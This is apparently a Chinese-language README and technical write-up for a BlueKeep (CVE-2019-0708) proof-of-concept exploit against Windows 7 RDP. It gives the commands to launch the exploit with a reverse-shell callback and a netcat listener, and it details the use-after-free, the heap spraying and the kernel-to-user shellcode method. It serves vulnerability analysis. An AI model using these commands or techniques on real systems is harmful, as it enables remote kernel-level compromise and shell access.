本仓库演示了 Windows 远程桌面服务 (RDS) 中的远程代码执行漏洞。
这是我们之前开发的关于 BlueKeep 漏洞的 POC 代码和技术报告。
注意: 我们的目标是帮助分析人员更好地理解关键漏洞。
我们的利用代码使用 Python 3 编写,并依赖于 PyRDP 库。请按照 PyRDP 的安装指南进行设置。
目前,我们的利用工具针对并在 Virtual Box 上的 Windows 7 SP 1 (6.1.7601) x64 上进行了测试。
如果你的计算机 IP 地址为 192.168.56.1,并且目标 RDP 服务器位于 example.com:1234,则输入:
$ python exploit.py example.com -rp 1234 192.168.56.1
如果脚本成功利用服务器,一个反向连接 shellcode 会从服务器发起一个 TCP 连接到 192.168.56.1:4444。 因此,例如你应该使用 netcat 等待连接:
$ nc -v -l 4444
如果你想更改服务器回连的端口号,请使用 -bp 选项:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
2019 年 5 月,微软披露了远程桌面服务(原终端服务)中的一个严重远程代码执行漏洞 CVE-2019-0708。该漏洞是预认证的——意味着该漏洞具有蠕虫特性,可能造成广泛破坏。攻击者可以通过向目标服务器发送特制的远程桌面协议(RDP)消息来利用此漏洞,并以管理权限执行任意代码。
Microsoft 远程桌面服务允许用户远程打开交互式 Windows 会话。它通过远程桌面协议(RDP)在 3389/TCP 端口上与用户客户端通信,向用户呈现 Windows 桌面。
RDP 协议可以通过称为虚拟通道的软件扩展来增强功能。功能增强的示例可能包括:支持特殊类型的硬件、音频或其他对核心功能的补充。
这些通道包括标准 Microsoft 提供的通道,如 "rdpdr"(重定向)、"rdpsnd"(声音)、"cliprdr"(剪贴板共享)等。用户可以使用 RDP API 编写模块以支持其他通道。除了上述通道外,Microsoft 默认创建了两个通道:MS_T120(用于 RDP 本身)和 CTXTW(用于 Citrix ICA)。
该漏洞与通过 "MCS Connect Initial 和 GCC Create" 请求进行的 MS_T120 虚拟通道绑定过程有关。更多背景信息可从 ZDI 获取。
正如 ZDI 文章所述,客户端请求的所有虚拟通道都是通过 termdd!IcaCreateChannel() 创建的。然后,指向这些通道结构的指针存储在一个表中,我们称之为 ChannelPointerTable。
当与 RDP 客户端建立连接时,包括 MS_T120 在内的所有静态虚拟通道都由 Windows RDP 服务器内部初始化,并由 ChannelPointerTable 指向。
创建 MS_T120 和 CTXTW 的查询由 rdpcore!WDLIB_IcaVirtualQueryBindings() 发起。
图 1:生成用于创建 MS_T120 和 CTXTW 的查询
查询传递到 termdd!IcaBindVirtualChannels() 后,在 termdd!IcaAllocateChannel() 中创建虚拟通道结构,并注册到 ChannelPointerTable 中。
图 2:创建并注册虚拟通道结构
函数例程 termdd!IcaBindChannel() 负责将虚拟通道结构注册到 ChannelPointerTable 中。

以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x1f 调用时。
图 3:MS_T120 在初始请求期间绑定到插槽 0x1f
然后 ChannelPointerTable 如下所示。注意 MS_T120 始终存在于插槽 0x1F 中。
图 4:初始请求期间的 ChannelPointerTable
Windows RDP 内核驱动 termdd.sys 中存在一个释放后使用漏洞。
问题在于,当客户端在 "MCS Connect Initial 和 GCC Create" 期间指定名为 MS_T120\x00 的通道时,termdd!IcaCreateChannel() 调用 termdd!IcaFindChannelByName() 并返回插槽 0x1F 中现有的 MS_T120 通道结构。然后,在 "MCS Attach User Request" 期间,该通道结构被视为一个新的虚拟通道条目,并存储在其他插槽(本例中为插槽 2)中。
以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x2 调用时。
图 5:MS_T120 在附加请求期间也绑定到插槽 0x2
换句话说,MS_T120 通道结构被两个插槽 0x1F 和 0x2 指向。
图 6:附加请求期间的 ChannelPointerTable
如果攻击者随后向 MS_T120 通道发送无效数据,termdd.sys 使用 termdd!IcaCloseChannel() 关闭通道,并清除该插槽处的指针(本例中为插槽 2)。
然而,插槽 0x1F 中的相同指针并未被清除。
随后,当连接终止时,RDPWD!HandleDisconnectProviderUlt() 被调用,后者又调用 termdd!IcaChannelInputInternal(),并尝试再次使用插槽 0x1F 处的指针来销毁已释放的 MS_T120 通道结构。通过通道结构中的 vtable 指针调用销毁过程。这导致了一个释放后使用条件。
图 7:vtable 解引用
如前所述,RDPWD!HandleDisconnectProviderUlt() 尝试从已释放通道结构中的 vtable 指针调用函数。如果攻击者能够控制通道结构中的值,他就可以覆盖 vtable 指针,从而导致以内核权限执行任意代码。
然而,要实现这一点,存在两个难点。
一是如何首先控制已释放通道结构中的值。为此,攻击者通常在释放的结构所在位置分配内存,因为目标漏洞是释放后使用。
但是,在这种情况下,他无法确定性按自己的意愿在目标位置分配内存。这是因为在内核中,许多线程同时运行并分配内存(实际上几乎是同时的)。他的内存分配在哪里取决于线程运行的顺序。在几乎所有情况下,他无法确定是否成功进行了分配。


另一个难点是在哪里设置 vtable 及其指针的地址。如前一节所述,攻击者需要设置 vtable 的地址。由于他希望获得任意代码执行,他应该设置地址,使得伪造的 vtable 包含他想要执行的地址(例如 shellcode 或某些 gadget 的地址)。
然而,由于内核堆和 KASLR 的随机性,他几乎无法知道这样的合适地址:
这些事实意味着,即使攻击者能够控制 vtable 指针,他也无法直接获得任意代码执行,除非他利用另一个漏洞来泄漏内核中的地址。 此外,你可能注意到,“shellcode 或某些 gadget 的地址”也是攻击者无法知道的。
我们的利用通过单一技术解决了这些障碍:堆喷射。堆喷射是一种打破这些随机性的方法,它大量分配大量内存。
图 8:喷射前堆池的使用情况
图 9:喷射后堆池的使用情况
通过多次重复特制的分配,攻击者可以增加某些分配的内存位于已释放通道结构位置的概率。
如果内核堆中的大多数对象都是攻击者准备的,那么他甚至可以粗心地指定堆中的某个地址作为伪造 vtable 的地址,因为指定的地址很可能指向他的对象。我们注意到,内核堆的基地址不会被 KASLR 随机化。基本上,堆的随机性仅来自线程执行顺序。
幸运且最重要的是,在 Windows 7 中,非分页内核池未启用 NX 位。这意味着攻击者不仅可以在内核堆中存储伪造的 vtable,还可以直接存储 shellcode。这使得利用更加容易,因为我们不需要使用返回导向编程。
图 10:页表项(PTE)权限
对于堆喷射,显然攻击者需要能够在内核堆中分配内存并向其中写入输入的功能。基于 Unit 42 的报告 和 Metasploit 中的 BlueKeep 利用,我们搜索了内核驱动中提供此功能的例程。我们测试了许多 PDU,最终得出结论,最可靠且有用的方法是向 rdpsnd 通道发送虚拟通道 PDU,正如 Metasploit 的利用所使用的那样。 供你参考,让我们解释一下为什么我们不能采用 Unit 42 报告中介绍的三种 PDU:
顾名思义,虚拟通道 PDU 由客户端和服务器交换,用于将数据传输到静态虚拟通道。 至于 PDU 内部数据的处理方式,因通道而异。在 Microsoft 提供作为扩展的几个知名通道中,rdpsnd 通道具有接收任意输入并为其分配内存的独特功能。 由于此通道在 Windows 7 中默认可用,我们可以简单地将我们的 payload 发送给它进行堆喷射。
我们编写了一个概念验证代码,考虑了上述重要点,并成功实现了任意代码执行。
图 11:受控的 vtable 地址
图 12:成功用指向 shellcode(ud2)的恶意地址覆盖 vtable 地址
尽管我们在上一节描述了如何让 shellcode 执行,但这实际上并不是全部。shellcode 在内核态运行,而攻击者想要的是“用户态”的管理员权限。它们在理论上就所能做的事情相似,但在实现他想做的事情的方式上不同。例如,使用 shellcode,攻击者可能需要编写数百行汇编代码来列出某个目录中的文件,而使用特权 shell,他只需键入 'dir'。
因此,我们利用的目标是为攻击者提供一个特权 shell,而这需要付出额外的努力。由于 shellcode 在内核态执行,首先 shellcode 需要找到或创建一个(特权)用户态线程,然后在该线程中执行 cmd.exe。
这次我们需要考虑两个问题:如何找到或创建一个线程,以及如何在用户态分配内存以在用户态执行 shellcode。
前一个问题(找到用户态线程)的出现是因为 shellcode 运行的上下文不是普通的进程上下文。 如果它在进程上下文中运行,它只需使用 IRET 指令即可返回到用户态。然而,在这种情况下,执行 IRET 会导致内核冻结。 有几种方法可以解决这个问题,但其中最通用且有用的方法是 异步过程调用 (APC),这是 Windows 提供的用于处理异步事件的机制。 APC 允许程序在指定的线程上下文(甚至不同进程的上下文)中执行函数。通过这种机制,shellcode 可以轻松且合法地创建一个新的用户态线程。
注册 APC 时,我们需要指定新用户态线程开始执行的地址。然而,到目前为止我们只在内核堆中分配了内存,用户态线程显然无法访问该内存。为了执行用户态 shellcode,我们必须准备另一个可以从用户态看到的内存位置,并将用户态 shellcode 存储在那里。 因此,我们遇到了在用户态分配内存的后一个问题。 解决这个问题的一种可能且正常的方法是使用 ZwAllocateVirtualMemory 创建一个新的映射。然而,这有点冗余,实际上在 Windows 7 中有更简单的方法:使用 KUSER_SHARED_DATA。 KUSER_SHARED_DATA 是一个存储在专用映射中的数据结构,该映射同时映射到用户态和内核态,并且位于固定地址(分别是 0x7FFE0000 和 0xFFFFF78000000000)。这类似于 Linux 中的 vsyscall。 如果我们在这个映射中存储用户态 shellcode,一切都会顺利进行:内核态 shellcode 可以将用户态 shellcode 复制到这个映射中,并且由于它知道映射的地址,可以毫无困难地注册 APC。
图 13:Shellcode 存储在专用映射中,即 0x7FFE0000(用户态)和 0xFFFFF78000000000(内核态)
图 14:Shellcode 的内容
该漏洞被分配了 CVE 编号 CVE-2019-0708。微软已于 2019 年 5 月 15 日发布了安全补丁 KB4499175。
有关该漏洞、受影响版本及缓解措施的更多详细信息,请参阅此处。
本项目部分由 Recruit 株式会社的高级技术实验室支持。
